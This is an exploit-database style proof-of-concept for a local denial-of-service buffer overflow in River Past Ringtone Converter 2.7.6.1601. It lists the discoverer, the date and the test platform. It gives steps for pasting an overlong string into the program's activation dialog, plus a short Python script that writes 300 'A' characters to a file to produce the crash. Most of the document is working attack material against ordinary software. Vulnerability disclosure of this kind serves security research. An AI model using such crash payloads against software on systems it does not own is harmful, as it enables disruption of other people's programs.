River Past Ringtone Converter 2.7.6.1601 - Denial of Service (PoC)

# Exploit Title: River Past Ringtone Converter v2.7.6.1601 - Denial of Service (PoC)
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-30
# Vendor Homepage: http://www.riverpast.com/
# Software Link : http://www.riverpast.com/
# Tested Version: v2.7.6.1601
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run RingtoneConverter.exe
# 2.- copy content RingtoneConverter_Crash.txt to clipboard (result from this python script)
# 3.- Go to "Help" - "Activate..." and paste the result in the "Email" textbox and "Activation code" textarea.
# 4.- Click in Activate button and you will see a crash.


#!/usr/bin/env python


crash = "\x41" * 300
f = open ("RingtoneConverter_Crash.txt", "w")
f.write(crash)
f.close()